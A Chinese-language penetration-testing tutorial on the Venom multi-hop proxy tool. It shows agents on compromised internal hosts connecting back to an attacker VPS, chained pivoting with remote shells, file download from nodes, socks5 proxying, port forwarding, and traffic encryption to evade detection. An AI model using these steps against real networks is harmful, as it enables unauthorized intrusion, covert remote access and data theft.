内网渗透-边界穿透神器(Venom)

0x01 Venom使用

  • 步骤一:下载Venom(毒液)

  • 如何使用官方介绍的很详细,简单介绍下。Venom;这是一款为渗透测试人员设计的使用Go开发的多级代理工具。Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点

  • 步骤二:解压打开后的目录结构:

0x02 实战环境准备

  • 外网vps + 靶标

    • 场景一:vps_windows + 靶标_window

      admin节点和agent节点均可监听连接也可发起连接

      1
      2
      3
      admin监听端口,agent发起连接:
      vps:admin.exe -lport 9999
      靶标:agent.exe -rhost 192.168.0.103 -rport 9999
      1
      2
      3
      agent监听端口,admin发起连接:
      vps:agent.exe -lport 8888
      靶标:admin.exe -rhost 192.168.204.139 -rport 8888
    • 场景二:vps_Linux + 靶标_靶标Linux

      1
      2
      3
      admin监听端口,agent发起连接:
      vps:./admin_linux_x64 -lport 4343
      靶标:./agent_linux_x64 -rhost vps_ip -rport 4343
      1
      2
      3
      agent监听端口,admin发起连接:
      vps:./agent_linux_x64 -lport 4343
      靶标:./admin_linux_x64 -rhost vps_ip -rport 4343
    • 场景三:vps_Windows + 靶标_靶标Linux

      1
      2
      3
      admin监听端口,agent发起连接:
      vps:admin.exe -lport 9999
      靶标:./agent_linux_x64 -rhost 118.89.224.245 -rport 9999

0x03 构建多级代理

  • Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。

  • 场景一

    • 1、外网的vps,Ubuntu:120.10.120.X(反正就是一个外网的IP)

    • 2、内网的机器三台windowsIP地址192.168.3.160、192.168.3.15、192.168.3.30

    • 3、设想外网的VPS要访问最里面的3.160只能一层一层的依次访问;3.160只能和3.30相互访问;3.30可以和3.15,3.160访问而不能访问外网的VPS;最后3.15能被外网VPS访问,也能和3.30相互访问;这时我们就是用神器Venom来进行一层一层的代理;(大家都知道同一个局域网的都可以相互访问,但是这只是设想了一个场景便于理解使用)

    • 步骤一

      • 1、将文件agent_linux_x64传到沦陷主机A,并对对应的执行文件进行修改权限 chmod 777 admin_linux_x64
    • 步骤二

      • vps执行命令./admin_linux_x64 -lport 4343,监听本地4343端口
    • 步骤三

      • 这里所有内网window机器都已经上传了Venom工具包并解压;接下来在192.168.3.15机器上面执行连接操作;执行命令agent.exe -rhost 120.10.120.X -rport 4343;

      • 很快外网的VPS也监听成功了,获取了;

    • 步骤四

      • 然后来在外网的VPS上进行操作;help,这里我们要使用到show,goto,listen,exit,shell这几个命令;先来看看怎么使用,余下的命令自己都可以摸索出来的;

      • 这里执行show命令,可以看见刚刚进行连接的一个节点;

      • 好勒,再来试试goto命令 这样可以切换到1节点上面去;

        • 嘿,还是很简单的,接下里看看是否真的切换到192.168.3.15机器上面了,执行shell;就是192.168.3.15;这说明成功了;
    • 步骤五

      • 接下来exit退出,进行下一步的监听操作;在不退出1节点的基础上面执行listen 4343端口进行监听;192.168.3.15机器上面已经监听成功了;
    • 步骤六

      • 接着在192.168.3.30机器上面执行连接操作,执行命令:agent.exe -rhost 192.168.3.15 -rport 4343,执行成功了;

      • 再回到VPS上面进行查看一下,执行show命令,是否新增了一个节点;新增了一个节点;Venom工具在执行过程中尽量不要将命令写错,这个没有办法删除错误的命令 ;只能enter了

      • 切换到节点2中;执行命令:goto 2;切换成功了后ipconfig查看IP,192.168.3.30这就是了,没有问题了;

    • 步骤七

      • 现在进行最后一台机器;依次执行命令exit,listen 4343 ;192.168.3.30机器上面已经监听成功了
    • 步骤八

      • 最后在192.168.3.160机器上面进行连接操作,执行命令:agent.exe -rhost 192.168.3.30 -rport 4343
    • 步骤九

      • 最后回到VPS上面执行show查看一下成功没有;

      • 依次执行命令:goto 3切换到3节点,shell,ipconfig,whoami;可以看到最后成功连接了3.160机器,这个过程就成功了

    • 最后以上监听的端口在节点上面进行listen的时候可以不一致,一台机器上也可以监听多个端口,比如,内网2中有一台机器192.168.3.31,可以和3.30相互访问;

    • 在节点2基础上面执行3.30本地监听;listen 11111 这里就是不是4343端口了,一样的可以监听成功。

    • 在192.168.3.31上面执行命令:agent.exe -rhost 192.168.3.30 -rport 11111

    • 再回到VPS上面执行show,可以看到新增一个节点4,这个就是192.168.3.31的机器了。

0x04 向节点上传/从节点下载文件

  • 将node1的文件/tmp/test2.pdf下载到本地的/tmp/test3.pdf

  • 将本地/tmp/test.pdf上传到node1的/tmp/test2.pdf

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    (node 1) >>> download /tmp/test2.pdf /tmp/test3.pdf
    download /tmp/test2.pdf from /tmp/test3.pdf
    this file is too large(>100M), still downloading? (y/n)y
    154.23 MiB / 154.23 MiB [========================================] 100.00% 1s
    download file successfully!

    (node 1) >>> upload /tmp/test.pdf /tmp/test2.pdf
    upload /tmp/test.pdf to /tmp/test2.pdf
    this file is too large(>100M), still uploading? (y/n)y
    154.23 MiB / 154.23 MiB [========================================] 100.00% 1s
    upload file successfully!

0x05 建立到某节点的socks5代理

  • 执行成功socks命令之后,会在admin节点本地开启一个端口,如上述的7777,使用7777即可进行socks5代理

    1
    2
    (node 1) >>> socks 7777
    a socks5 proxy of the target node has started up on local port 7777

0x06 将本地端口转发到远程/将远程端口转发到本地

  • lforward将admin节点本地的8888端口转发到node1的8888端口

    1
    2
    (node 1) >>> lforward 127.0.0.1 8888 8888
    forward local network 127.0.0.1 port 8888 to remote port 8888
  • rforward 将node1网段的192.168.204.103端口8889转发到admin节点本地的8889端口

    1
    2
    3
    4
    rforward 将node1网段的192.168.204.103端口8889转发到admin节点本地的8889端口

    (node 1) >>> rforward 192.168.204.103 8889 8889
    forward remote network 192.168.204.103 port 8889 to local port 8889

0x07 流量加密传输

  • 对抗安全设备的检测,更好的隐藏自己,所以我们对传输的流量进行加密

0x08 参考资料

https://xz.aliyun.com/t/4058

https://www.pianshen.com/article/9287973165/